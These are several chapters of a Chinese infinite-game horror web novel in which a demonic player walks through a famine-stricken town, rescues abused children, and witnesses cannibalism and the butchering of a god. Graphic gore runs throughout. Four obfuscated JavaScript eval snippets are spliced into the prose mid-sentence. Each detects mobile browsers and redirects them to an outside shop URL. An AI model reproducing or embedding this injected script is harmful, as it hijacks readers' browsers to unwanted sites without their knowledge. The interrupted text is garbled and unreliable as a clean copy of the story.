至于本次副本的【信徒】,确实是我没错。 收到新规则的时间也没有延迟。 无论是重创自己还是压制并扭曲思维,都不过是转移玩家视线的一种方法罢了。 谁让玩家里碰巧有个会读心的,又碰巧有第二个信徒身份的呢。 虽然计划不如变化快,后来又被那个‘神明’带走,不过只要有那俩玩家在火就烧不到我身上。 而那名【信徒】会在其他玩家发现不对劲,开启投票之前解决掉他们。 我相信他能做到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670835|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再此之前我只要随便摸鱼就好。 * 因为很无聊,所以不自主地想到了这次副本的背景。 按照之前得到的信息与系统提供的副本背景,我想这里大概是过去处于自然灾害下的华北小镇。 身下的床板又硬又小,却被铺了层干净的、带了点洗衣粉清香的床单,摆在脏乱黑暗的地下,与昏暗腐臭的环境格格不入。 在这个时空的这个时间段内,干旱带来的自然灾害使水资源缺乏,能有一套干净的被罩都很难得,那些镇民又怎么可能会将它用在他们眼中的‘食物’身上? 我想起了之前看到的那本日记。 里面提到小镇的转折点正是在那位‘神明’到来后。 天下没有免费的午餐。 过去的小镇靠着神明得以复生,他们付出了什么,又或者神明会得到什么? 祭祀,祭品? 又或者是什么其他的? 那些‘怪物’自称自身的存在来自对亲人的怨恨,而他们的恨意直指小镇居民,那么原先的身份就必然是同一小镇的居民,或许是婴儿、幼孩,或许是少年少女、妇女。 都是名为‘小镇’食物链上的最弱者。 少年神明讲述故事情节中提到一句‘易子而食,析骸而炊’,人吃人可能就是怨念的直接来源,何况将自己送入虎口的还是自己朝夕相处的亲人、邻居。 我重新坐回床上,拄着下巴,觉得自己可能就是祭品。 隔壁铁栏杆里面的两个黑煤炭吸引了我的注意。 从开始到现在一直保持一个姿势蹲在角落里,无论是胳膊撕裂的血腥场面还是尚俞他们离开时使用的‘特殊能力’都没能让这两个小孩转移视线。 我从地上拾起了颗小石子朝二人面前那片地面扔去。 他们没有抬头。 “你们多大了?”我放轻了声音。 “……” “叫什么名字?” “……” “你们是食物吗?” 就在我以为这次也不会得到回应时,其中一个小煤球轻轻摇摇头。 不是祭品也不是食物,他们瘦骨嶙峋,几乎脱了相,身上又有殴打的痕迹。多处骨折,肩膀手腕脸面等地方存在利器造成深可见骨的伤口,大腿内侧少了一大块肉,裸露在外的皮肤上有被高温铁块烙过的痕迹,所以—— “你俩触犯天条了?”我大惊。 不等小孩回话,不远处楼梯上传来一连串虚浮又沉重的脚步声,两小孩猛地瑟缩了一下,不再说话,而是努力将自己卷成一个更小的煤炭藏在黑暗的角落中。 我有些不快的皱了下眉。 下来的三个人见我还在后仿佛如释重负般叹了口气,不知为何没再多看我一眼,紧接着他们略过我,向旁边的铁栏杆走去。 有些卷的刀刃敲击在栏杆上,发出“砰砰”巨响,小孩藏得更靠里了。 为首那人见小孩不过去面色阴沉下来,太阳穴上青筋一鼓一鼓,在干瘪皮肤上如同埋藏血肉里的青虫。 呼啦哗啦。 是刻意使劲摇晃钥匙发出的响声。 狰狞的笑挂在他们脸上,裂开的干涸嘴角露出牙龈上有干涸的血迹,阴森如同林中屠夫。 肮脏浑浊的空气与眼前的恶鬼图让我生理不适。 我决定提前出去了。 “咳咳。”清了清嗓子,阴影霎时在摇曳昏暗的烛火下映出非人类特征,还未转过身的三人面容最终定格在恐惧上。 我绕开三具尸体,走到隔壁地牢正前方。 一直蜷缩着的两个小孩终于抬起了头,深棕色的瞳孔迷朦着雾气。 倒是有些眼熟。 “他们已经死了。” 我轻声道,“你们要和我一起离开这里吗?” 头顶的角毫不忌讳的暴露在外,“我虽然不是人类,但我有吃的,还有水。” 他们同意了。 14. 华北小镇(9) 楼上狼藉一片,尸体叠成一座高山,血染红了一切。 大概用不了太久‘秃鹫’就会闻着味来觅食。 我从储物戒中取出两瓶水递给小孩。 两个小孩都没喝。 他们刚到我胸口的小脑袋仰地高高的,两双褐色地眼眸一眨不眨的注视着我。 莫非是担心水有问题?我眨眨眼,拿过其中一个小孩的水瓶喝了一口,证明给他们看。 “没毒,纯天然无污染。” 楚浮提之前给我的空间戒指中有一池泉水,取之不尽用之不竭,且可治疗伤,水便是从其中取出的。 小孩接过手中的水瓶,贴着水渍大口咕嘟咕嘟的往下灌。 还挺谨慎。 另一个小孩凑过来,把没开过封的水瓶往前一递,睁得圆圆的褐色双眼也炯炯有神的盯着我。 我无奈启瓶喝了口才还给他。 他们身上的外伤很快消失不见,两小孩沾满血污的小脸惊奇的在自己已经光滑的皮肤上翻来覆去的看。 我又递过去两瓶水,几颗辟谷丹,以及两件偏大的衣服。 “洗洗吧。”我道,“脏兮兮的。” 救下两个小孩也不过是顺手的事。 我背过身,随口问道:“多大了?怎么搞得这么狼狈?” 身后一阵窸窸窣窣声,良久,沙哑的少年声调响起,腔调有些怪异,像是很久没有说过话: “十一岁了。是孤儿,小时候被卖到这里。旱灾三年,食物越来越少,第一二年凭借积攒的粮食,那些人尚且还能保持人性,然而到了今年,年初时,存储的粮食就已经基本消耗殆尽,就连……母亲,也想将我们煮了吃了。” 女声接上,“我们逃出来,被邻居大叔发现,关起来。那里有很多孩子,都是下至四五岁,上到十六七地。他们不敢,也没能耐对同年龄的下手,老人身上又没肉,而尚未开智的小孩肉嫩又不会反抗,所以……自家的孩子或许舍不得,那就去跟别人家的交换,亦或是去偷,去抢……反正这世道已经没有什么正义了,谁的拳头大,谁就能活下去。” “后来我们带着她们逃出去,被抓回来。半年了她们大概已经死了,或者被吃了。如果他们知道节省,或许还能剩下几个。” “而我们两个算是主犯,肉又少,所以用来撒气。等撒够了,或许就能换个清静。” “换完衣服了,还有……谢谢您。” 小孩说到最后声如蚊呐,像是有些不好意思。 两个小孩一句接一句,神情平静像是在讲述一个再普通不过的故事。 我眼神划过二人攥紧的拳头,什么也没说。 “小镇一共多少人 ?” “两年前大约五千多,现在?”女孩讽刺的笑出了声,“大概不到两千吧。” 锐减的数目在血腥中显目得可怖。 何况人心不足蛇吞象。等小孩的肉满足不了他们的肠胃,那双罪恶的手便会伸向一息尚存的家家户户。 不难想象在烈烈火光中掩映的是何等惨烈的景象:痛苦的呻吟,崩溃的哭嚎,溅出的血液狠狠刺痛暗处的稚嫩双眼。 不可置否的是在如此残酷的饥饿年代仍有良知与正义,但那只会是少数,微弱火苗也抵不过皑皑大雪。 冰冷的雪背后是否有一双双泛着绿光的扭曲恶意在伺机而动?胃里饥寒带着孩子在门口等待砍柴丈夫的妇人最终迎来的不是爱人温暖的拥抱和燃起在家中火苗,而是冰凉的尸首,与门外该死的、癫狂的狞笑。 扣扣。 敲门声响起。 门外会是谁呢? 紧绷的神经又是否会放松呢? 祈祷吧,希望今晚是个平安夜。 我轻轻拍了拍女孩有些干枯的头发,柔声道:“好孩子。” “你们已经熬过去了。” 夕阳透过窗沿上碎玻璃透了进来,血腥味依旧。 * 从小孩的话语中我得知那位神明现在还没有出现,当时镇民大概想拿我献祭给什么名不经转的东西。 这让我想起前不久在马赛克青年家中看书时见到一句话:越是偏僻封锁的狭小地方,对于神鬼怪力就越是有种偏执的信念。 我避开地上的血污和尸体向外走去。 “您要去哪里?”两个小孩小跑着跟了上来。 “我——”剩下的话还没说出口,眼前的一片景象从视线中央开始变得模糊,褪色。血液、泥土、污浊连带着两个茫然的小孩飞速向后退去,强烈的眩晕和难以抑制的呕吐感在脑部、喉咙处如同田鸡一鼓一缩的肚皮,五脏六腑连同覆盖在外的面皮被断断续续地拉伸收缩……哦。我觉得我快要吐出来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670836|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好在脚下很快有了实地的踏实触感。 我脸色极差的扶着身旁的墙角站稳了。 呕。 这真是一次糟糕的体验,由衷地希望不会再有第二次。 往下扯了下出现在身上有些破烂的黑色披风,黑色阴影遮住了我大部分面容。 正常的跨时空不会出现这种剧烈的波动,除非有外来者介入。 我又看到了两个小孩。 小孩乍一看到我也没太惊讶,他们收起了手里有些破旧且孩子气的枪支,我甚至能从他们眼中看到少许喜悦。 似乎长高了点,五官似乎张开了点,不再像之前那样皱巴。 但依然很瘦,几乎皮包骨。 走之前我扔给他们的一袋辟谷丹与特殊瓷器中装着的泉水应该多少起了点作用。 我在观察他们的时候他们也在观察着我。 后面跟着的几个同样年龄相差不大的小孩也是,眨巴眨巴眼睛,好奇又畏惧。 “距上次见到您已经有半年了。”男孩最终打破了沉默,他似乎有点高兴又有点悲伤,有些长的头发微微遮住了俞显锋利的眉眼,“她们或是被抛弃的,或是家人被杀侥幸逃脱的。被关起来的那些……救不出来了。” 我看见女孩手中拉着的一个只到我膝盖高的小孩好奇的歪头看向我。 小孩太小了,也太瘦了,像一只小骷髅。 视线中她眉眼弯弯对着我笑,可这么一笑,她本来就起皮泛白的嘴上伤口便又裂开了,小血珠从里面滚了下来,又很快在皮肤上干涸。她慢慢眨了眨眼睛,像是才注意到淌下的血珠,有些不好意思地用沾了灰尘的手抹掉。 “您真好看。” 她的声音又细又小,“就像……神明一样。” 小孩们的鞋子漏了洞,钻出来的脚趾被粗糙又锋利的大地磨出了血,她们大概也是不管的,于是血又凝固在上面。年纪小点的小孩眼神懵懂又清澈,像是一汪清水,一股不应该存在在干旱中的清泉。 “您交给我们的食物与水很管用。” 我突然觉得口中有些干涩,孩童眼中的雪白直叫我说不出话。 真可怜。 像我曾救下的那只林间小鹿。 我将最后几颗辟谷丹递给她们,下一秒,熟悉的空间撕裂感让我再一次换了地方。 15. 华北小镇(10) 周围是上百个同样身披黑色衣料的人群,裸露出来的皮肤褶皱的像是脱水后即将干瘪的鱼类,掩住的黑色底下看不到的面孔究竟是……我不愿再细想下去。 为了避免鹤立鸡群,我佝偻起背,恨不得将脑袋埋进肚子里。 【宿主你这样好好笑哦。】 小指不由自主动了下,我依然没有适应识海中多了个东西。 【是吗。】我努努嘴,【那还怪遗憾的,怎么没笑死你。】 【……】 游戏下发一对一系统。本应在副本结束后分配给仍然存活玩家,由于主系统察觉到我所经历的副本内容出了偏差而提前下发。 还是个新手系统,话唠又聒噪,像是夏日里嘚吧嘚瞎叫的蝉。 或许换个安静的场景我尚能耐心回它话,但如今我内心烦躁,只觉得浑身上下被千万万双视线扫视,每一寸肌肤均被细致观摩……时刻被注视的感觉扫兴又不虞,何况对方目的本就是监视。 【不是监视哦。】 系统像是察觉到我在想什么,之前一直笑嘻嘻的声音平静下来,听起来反倒认真正经,【是保护。】 【嗯嗯。】我胡乱应道,心里却想着出去后一定要想办法甩掉它。 实在不行换一个别的也行,只要不是现在这个360°无死角高音质音响…… 无限飘飖的思绪陡然被高昂的兴致打断。 废墟叠起的高台上站着一个熟悉的身影。 少年身形的白发神明手捧培土,顷刻间幼苗从中摇曳钻出,伸展嫩绿成为废墟上少有的颜色。在跪拜中,在颤抖中,在抽泣声中,那嫩芽晃晃悠悠,晃进了一双双呜呜泱渴望着的眼中,也晃动了某些违背天理的念头。 现在是—— 【旱灾五年过去了,现在是迎来新春的第一年。】系统有点嘚瑟的声音又从四面八方冒了出来,【好心的神明带来了一场雨,结束了劳役众人已久的干旱。】 我没有跟着众人跪下,他们像是看不到我,亦或是这里并不是真正的过去?但之前我确信感受到了时空变化遗留的痕迹,也确实参与进去那两个孩子的命运……可是现在环顾四周我看不到任何一个孩子。 视线扫向某个位置时,我瞳孔微颤。 我可能已经看到了。 时空错乱的缝隙间我看到他们……的肉,被架在火烤架上。我看到一双双通透的清澈目光变得溃散无光,我看到接天的火光,弑人的獠牙,看到滴血的血肉,与未寒的尸骨。 我有些迷茫地低头看着,又在抬头时与向下俯视的神明对视。 祂蹙起眉头,我大概是猜出了对方想表达的意思—— 你不该到这里来。 我感到好笑。 不是你带着我来这里的吗?这里不是你的世界吗?玩家不是要遵循你的规则吗? 既然如此你又为什么要露出那样一副表情? 我也不知道自己想表达什么了。小孩棕色眼瞳从眼前飞快划过,已经扩散的瞳孔不知道看向哪里。 【你不应该改变过去走向的。】 系统说。 或许吧。 高台之上,白发神明似乎是想下来,但最终又碍于什么而没有下来。我和祂相隔黑压人海,在压抑却兴奋如饿鬼的小镇居民层层包围下对视。 原来身处自己掌控世界的神明也有身不如己的时候。 又或者祂只是不那么在乎。 我率先移开了视线。 空间波动一瞬,再次睁眼时果不其然面前又换了个场景。 天空愈发黯淡阴沉,无数积云黑压压笼罩在小镇上空。 少年的故事在走向末端。 再次见到祂时,祂竟被钉在木架上,银色的血液从绽开的皮肉中凝结,而后滴落在架下神情癫狂的镇民口中。 即使已经脱离了旱灾多年,这些镇民裸露在外的皮肤依旧如枯死的树皮般褶皱,眼中是凝固不变的粘稠欲望。 他们的肢体触碰不到祂,但利器可以。 于是那些生了锈的丑陋利器一点一点剜下神明的血肉,血肉又在镇民嘴中嘎吱作响,他们嚼啊嚼,嚼啊嚼,恍若凭本能行事的野兽。反胃的血腥味排山倒海从他们口中涌出,涎水混合着血液下坠入泥土,一双双冒着幽光的眼睛撑的很大,很大,红血丝遍布晕了黄的球面,里面满是狂热与贪婪,他们欣喜若狂奔跑欢呼着即将获得的永生。 浑浊的风将腌臜脏污带到我面前。 少年的白发在风中轻轻摇曳,发丝遮住了祂的大半边脸,只剩下缺血而泛白的唇角微微上翘。这次祂没再看向我。 我在旁边看着,似乎离他们很近,又离他们很远。 天空啊,阴沉沉的,掺了杂质的乌云遮住了最后的光线。 于是视线所及黑了下来,像是被阴影化作的庞然巨兽所吞噬。 神明的头骨从高台上滑落,银宝石般漂亮眼睛被扬起的尘土所淹没。 半晌后心满意足的镇民挺着肚子一个个回了家。空旷的高台只剩我与一具温热的尸骨。 沉默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670837|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片刻,我走向前,俯身拾起地上的眼球。 【……等等。】系统声音听起来有些古怪,【宿主你不是知道祂是个邪神吗,就不怕祂的眼球上也留有诅咒?】 机械声落在耳边,有些轻飘飘。 雪白眼球嘀嗒的粘液沾了尘土与镇民的血。 有点脏了。我想。 我将它们举到眼前,已经扩散的白色瞳孔的尽头是那由镂空纹路组成的无边荒漠,如同冻结百丈冰的瀚海阑干。 真漂亮啊。 【你说】,我打断了系统的喋喋不休,【我将它们做成剑柄上的装饰物好不好?】 效果立竿见影,系统安静的像个鹌鹑。 真通魔性。 和镇民不同,我可以直接触碰到白骨,与之前摸过的表面坑坑洼洼的兽骨不同,手中要更光滑漂亮。 闲来无事,我将零落的骨节一块块捡了回去,按顺序摆在高台上。 【你真的不去看看那些镇民吗?这可是提高探索度的好机会。】 系统的突然出声惊得我手一紧,作用在白骨上的力道发出难听刺耳的‘嘎吱’声。 坏了,不会把人家遗体破坏了吧? 怀着微乎其微的愧疚,我偷偷打量了手中的桡骨,它依旧光滑洁白,无一点受外力挤压的痕迹。 我不动声色地在心中舒了口气。 【宿主?】 【不去。】我摆弄着腿骨,【我的探索度已经达到通关要求了。】 【要现在提交吗?】 【不要。】 【探索度超出要求部分可以获得额外积分哟。】 【哦。】 【真的不心动?】 【不心动。】 【……】 或许是见劝说无果,系统终于放弃了无谓的坚持。 【那你有什么想要的吗?】 睫毛轻颤了下,我轻声道:【复活一个朋友。】 系统停顿了很长一段时间,久到我以为它不会再出声了。 【为什么想复活他?】 是啊,究竟是为什么呢。 我低头敛去眼中的锋芒,轻笑道:【叙叙旧?】 【你……】【你问的够多了。】 我又一次打断了它,【现在该轮到你的回答环节了。】 它还算爽快的答应了。 【第一个问题——】 我将最后一块骨头归位,拍了拍手上的灰,若无其事道: 【你真的是我的系统吗。】 16. 华北小镇(11) 【你真的是我的系统吗。】 它先是沉默,良久的沉默,然后笑道:【哎呀,一不小心被宿主你发现了呀。】 嗓音也在说话声中慢慢低沉下来,系统独有机械音消失不见,取而代之的是成年男人富有磁性的低沉浑厚。听起来倒像是我原先喜欢的一种乐器弹奏时发出的曲调。 【既然已经发现了,那不如继续再猜猜我是谁吧?猜对可是有奖励的哦。】他懒散地提议,【我和你,之前也算是见过面的。】 【就是这个世界——也是你们称作副本的地方喔。】 漫不经心、自负。 这是我对他的第一印象。 在我来到副本这4天来见过的人屈指可数,稍作猜想就能想出来对方是谁。 【触发支线一:猜猜我是谁】 意外的惊喜。 我吐出一个名词。 【支线一已完成】 对方对于我能猜出来毫不意外,【是啦是啦,我就知道我迷人帅气的外貌会在你心中留下浓墨重彩的一笔!】 不,我只从那尊神像上感受到了怪异、扭曲与邪性。 我在心中为自己辩解。 他,不,应该说是祂,现在盘亘在我的意识里,委委屈屈道:【虽然我也很希望把我的眼球当作礼物送给你啦,但很抱歉副本还没有结束。所以可以麻烦你帮忙把我的眼球放进去吗,小时?】 【触发支线二:复活神明】 我垂眸看向地上已经逐渐长出骨肉的白骨,也笑道:【然后呢?然后你会控制着这具刚复活的躯体杀了我,或是依然像之前那样拖延时间阻止我离开?】 我将轻如羽毛的眼球抛到空中,又接住。 【我倒是想知道,没有神明的推波助澜,故事接下来会如何发展。】 【……】祂哑然失笑。 没有恼羞成怒,没有气急败坏,甚至能通过那一点精神连接感受到祂此时的愉悦与纵容,这异样的情感使我头皮发麻。 【请便,我的小信徒。】 谢邀,请不要乱给我加戏。 依照猜想,我现在处于两个时间线中靠前几百年,甚至几千年的那条上。小镇镇民即将异化为大肚行尸自相残杀,神明躯壳复活被我阻止……如果按照正常的发展祂复活后会干什么呢?我无从猜测推理一位脑回路清奇的邪神究竟是怎么想的,但我有一件想做的。 我摩挲了下左手拇指上的黑色戒指,排山倒海的魔气从中倾泻,我被包围其中,如久旱逢甘霖,眉眼舒畅。 等恢复够了便开始着手布阵。 这个阵图是我从修真界某位大能手中抢来的,可惜对当时我所面对的问题没什么用,没想到背下来的图现在起了作用。 【咦?】围观的邪神发出一个无意义的语气词,【我的小信徒是要把这个糟糕的小镇全都献祭给我的这个躯壳吗,好感动。】 不,是将你……为了避免祂从意识连接链中隐约猜出我的意图,我立刻止住了脑海中足以称得上是嚣张的念头。 阵图的范围有一点大,将它绘制出来需要耗费一段时间,以及大量的血液。 不远处,原本有些嘈杂的小镇陡然寂静下来。 一时间,这片黑压压的天地间似乎剩下的只有我和我的呼吸声。 【你的脸色现在不是很好,需要我帮忙吗?】 我摇摇头。 剩下的时间不多了。 结束最后一笔,我将神明的躯壳放在阵眼,按照记忆中的语言一字一句念过。 每念一句,眼前便暗下一片,眼前渐渐模糊,血腥味卡在喉咙处不上不下,胸闷的喘不过气来。 可浑身上下剧烈的疼痛却愈发清晰。 咔嚓。 没能忍住,我吐出一口血,湿漉漉的液体顺着嘴角向下蜿蜒。 真是……比想象中的还要麻烦。 我胡乱擦了一把嘴角的血迹。 各个感官逐渐消失。 【……不………】 【不………别……了。】 我隐隐约约听见有人说话。 【…………时无序我叫你别念了!!!】 祂的声音中不再留有漫不经心。 阵向外发散不祥红光越来越盛,我和那具逐渐被湮灭的神躯被团团包围。 身体越来越冷,原先高高竖起的头发不知道什么时候散了下来,阵眼自发形成的妖异红丝缠在纯粹的黑上。我半跪在高台之上,方圆千里红光下显得生灵是那么的渺小,可是模糊的光中一个瘦小的影子站了起来,紧接着又是一个,两个,三个……她们站在火光中,有老人,有小孩,有男人,有女人,有紧密相牵的爱侣,有相互依偎的兄妹。 恍惚中我好像又看见了那双漂亮的眼睛,不,或许不止一双。 她们都是因为这次旱灾无辜受害的小镇镇民,是在灾难中一次次站出来那些人。 我彻底撑不住了,堪堪跪在地上,嘶哑着嗓子扬声道:“阵——起!” 在那道一直吼着什么的崩溃声中,我彻底与阵交融在一起,意识逐渐消退。 * 此时,与现实轨道一致的小镇已经到了下午两点,头顶依旧阴沉的像块密不透风的脏抹布,到处都是由腐烂砌成的恶臭。 凛冽的刀锋将粗壮的树木劈成两段,金发青年脸彻底阴沉了下来。 “最后一遍,把他还给我。” 与他成三角对立的两个怪物统一战线,徐礼大红指甲炫耀似的上下抚摸怀中沉睡青年旖丽瓷白的面容,白与红强烈色彩明晃晃刺在了众人眼里,艳丽的美人被一旁眼含杀气的徐泽也了一眼才恋恋不舍的放下手,娇笑道:“抢到了的,可就归我们咯。” 徐泽甩了下手,下一秒整个手掌便被幽蓝色燃烧的熊熊火焰包裹,他仰起头,锋利的眉眼向上一挑,张扬道:“打一架?” 两怪身后一行怪虎视眈眈。 跟在后面的黑框双马尾见状瑟缩了下,她有些犹豫,但还是有些不好意思的小声说:“尚大哥对不住了。” 尚俞个人实力确实很强没错,但他眼中也只有那个样貌惊艳的青年,真打起群架没有意义不说遇敌阵亡她肯定首当其冲,相比之下她更适合苟一苟。 何况系统先前提名的‘信徒’现在还没找出来,人多了反而更容易被背刺。 少女认真道过谢后有些不舍的看了昏迷中的孱弱俊美青年最后一眼,心想美人还需配英雄,随后见外面行尸已经散去便离开了。 剩下两人也不蠢,想明白整件事后便都道了别,带着戒备各自选了条道离开。这个副本探索度并不难达到通关标准,但到底还是T9列鬼怪副本,接下来生存怕是会有难度。在剩下的时间里,实力稍强一点的还能决定再去提高探索度或是尝试刷出支线,以便结束副本后获得更高的评价。而实力不行的则需要找一个相对安全的地方进行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670838|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 防御准备,以确保自己度过副本最后的时间。 若是得到‘信徒’这张身份牌的玩家是个简单的,无论对方实力怎么样,只要能团结起剩余玩家的力量就能稍微轻松些,可现在…… 想到这里,原本落在后面短发女走得更快了,也就没看到尚俞瞥向她们时眼中一闪而过的寒光。 “哟,怎么只剩下你一个人了?”徐泽咧嘴露出一口白牙,落井下石道:“该不会被抛弃了吧,真可怜。” 尚俞脸色沉了几分,周身寒意更甚。 三人相顾无言,空气中山雨欲来的危险气息蔓延。 最终尚俞还是收起了手中锋利短刀,冷着脸转身离开。 如果要将小时哥抢回来恐怕需要一段时间,要是这段时间让那几个人团结起来发现什么不对的地方那就不好玩了……他还是更喜欢看她们相互猜忌的模样。等他把剩下的玩家都解决掉再来收拾这几个碍事的NPC也不迟。 这次副本获得的积分哪怕不翻倍也足够他进新人榜前三了。 至于小时哥……很遗憾他不是‘信徒’,不过没关系,他会是他唯一的例外。 尚俞矫捷的身影几个跳跃间便离开了原地。 徐泽他们也没出手阻拦。 离副本结束还很远,他们还有更重要的事情要做。 徐泽伸手小心翼翼地触碰青年染了粉的眼尾,轻声道:“怎么睡了这么久。” “不好奇为什么看到了两个他?”徐礼空余的那只手撩了一下自己的长发,以免它们扎到沉睡的青年。 “不好奇。” 徐泽低头安静地注视着,“只要他还活着。其余的都不重要。” “就不怕他跟着他们一起走了,从此再也见不到?” 自从他们从沉睡中苏醒已经有七批玩家来过了。时间周而复始,他们记忆永存,知道他也是玩家中的一员也不是难事。 不同于普通NPC,他们这种‘怪物’属于副本的核心NPC,知道副本、玩家、任务……也知道离开的玩家不会再回来。 “………” 徐泽沉默,往常桀骜张扬的神情隐匿于黑暗,垂眸看不出神色。 徐礼同徐泽本就是一体的,此时自然知道徐泽被说动了,她心情不错的继续低头欣赏青年短暂的乖巧面容。缓缓靠近,朱唇轻点额头,黑珠眼白适中的凤眼浅笑时尤显东方美人的韵味,内里却是朵艳红巨型食人花。 当初既然把她救下来,现在就应该乖乖接受她的‘回报’,一辈子都和她在一起。 “够了徐礼。”徐泽皱了下眉头,“收起你的眼神。” “怎么,之前冒昧上前又是搭讪又是摘帽沿的不是你?现在记忆补全了开始夹起尾巴做人了?”论起张扬,与徐泽相比徐礼也不遑多让,她压低声音嘲讽道,带了点嘶哑的女声如同黑暗中匍匐前进的毒蛇。 徐泽脾气从来与好不沾边,太阳穴上的青筋突了突,但看到青年睡颜还是忍住了,他咬牙切齿道:“先回家。” ——“回家”。 这个词听得徐礼心花怒放。一想到怀中青年将要和她住在一起她简直激动到想扒开镇民隆起的腹部,将他们的鲜血洒满大地来庆祝她此时的喜悦。现在的她看起来一点不像让无数玩家闻声色变的女魔头,倒像是见到心上人而春心萌动的小姑娘。 “你说得对。”她点点头,不再争论。 一行怪物加快了赶路进程。 17. 华北小镇(12) 另一边。 短发女干净利落将背后偷袭的行尸爆头,看着地上稀碎的粘液,她面无表情转身就跑。 与黑框双马尾不同,她想再往上提高探索度以便得到一个不错的评分。目前排行榜上她在一万出头的位置,这是她的第十个副本,也是最后一个能纳入新人榜的副本,这个副本结束后如果没能进入前一万就真的再没进入新人榜的可能了。 她已经知道‘信徒’是谁,现在只需要熬到那两个对‘信徒’深信不疑的人死了,再利用定位道具找到上吊眼,联合他一起把他投出去,她就能得到系统承诺的额外奖励! 她不可能放弃唾手可及的机会。 短发女就地翻滚躲过飞过去的残肢,咬牙向后丢去一颗榴莲味的烟雾弹,趁着对方丧失嗅觉视觉迅速向身侧胡同处跑去。 天知道这个副本行尸怎么会这么恶心!拥有无限再生几乎算是bug的能力不说还残留人类的智慧,今天碰到的数量也出奇的多……前三天遇到的NPC加起来都赶不上刚刚一小时的,简直不像是T9列鬼怪副本应有的难度。 好在不是神级类型的副本,先前提到的神明在副本中大概也就相当于背景板。 她闪身躲进旁边一栋居民楼中。 楼内绿色不知名液体混合着黄褐色粘液遍布,狭小的屋内窗户关得严实,熏人的恶臭味在鼻翼间跳跃。 短发女屏住呼吸,心里倒是踏实了点。 熟练地从各人空间取出医用纱布简单将肩膀上伤口包扎好,她缓缓吐出一口浊气。 那群行尸简直像是装了雷达,无论她们到哪都能准确无误找过来,留给她休息的时间不多了。她从各人空间取出营养剂一饮而尽,腹中烧人的饥饿感总算被填补了些许。 屋内昏暗,屋外也昏天黑地。 短发女原地休息了会。 定位道具显示上吊眼就在这附近。 成功看起来近在咫尺。 虽然很不齿上吊眼的言行举止,但另外两个玩家已经无法沟通,始终坚信尚俞不是‘信徒’,贸然告诉她们怕是会有挑拨离间的嫌疑。 簌簌簌。 说不清是头顶还是楼上突然发出怪异的,类似沉重麻袋在地上徐徐拖行发出的动静。 到现在谁也不是当初那个懵懂心大的小新人了,也不会大咧咧将莫名其妙的动静归于偶然。 她迅速拿出枪械开膛,退壳,上膛,闭锁,确保其中子弹数量充足,将黑漆漆的枪口对准通往二层的楼梯,而后小心翼翼地向门口慢慢移动。 在触碰到门把手时,冰冷阴凉的触感让她又猛地缩回了手,直觉告诉她:不要出去! 头顶的声音似乎离楼梯处越来越近,而门外不知何时变得寂寥无声,被游戏加强过的五感听不到一点怪行尸的嚎叫声。 留在这里面对未知的东西,还是违背直觉打开门面对更加未知的事物? 恐惧。 恐惧仿佛有了实体,迫使她不住地颤抖,生锈了的把手被握得也上下晃动着,哐当作响。 楼上的东西迈上了第一层台阶。 砰! 黑暗中的声音是那样明显,那样使人毛骨悚然。 紧接着,第二层。 砰砰!! 第三层,第四层,第五层…… 空气中混合着臭鱼烂虾的腥臭味越来越重。 她下意识攥紧了手中的枪,又往门口处移了一步。 不能出去!!!! 短发女狠狠咬了下自己的舌头,试图用撕扯疼痛让自己的思路更加清醒。 现在出现在眼前的一切事物事实上并没有让她受到什么实质上的伤害,更像是……在逼迫她出去。 所以她反而不能出去。 打定注意后,她慢慢将手从门把手上移开。这一举动好像惊到了那个庞然大物,它开始狂躁起来,声音越来越快,越来越响,如春日里惊雷,‘轰’的在她胸腔炸响。 砰砰。 砰砰。 砰砰。 她的心跳声几乎要盖过外界的声音。 本能叫她快跑,逃离这里。 * 尚俞百无聊赖的蹲在天台上,蓬松的金色卷毛也耷拉下来,像是刚睡醒,又像是许久未睡,看起来十分萎靡。 手中 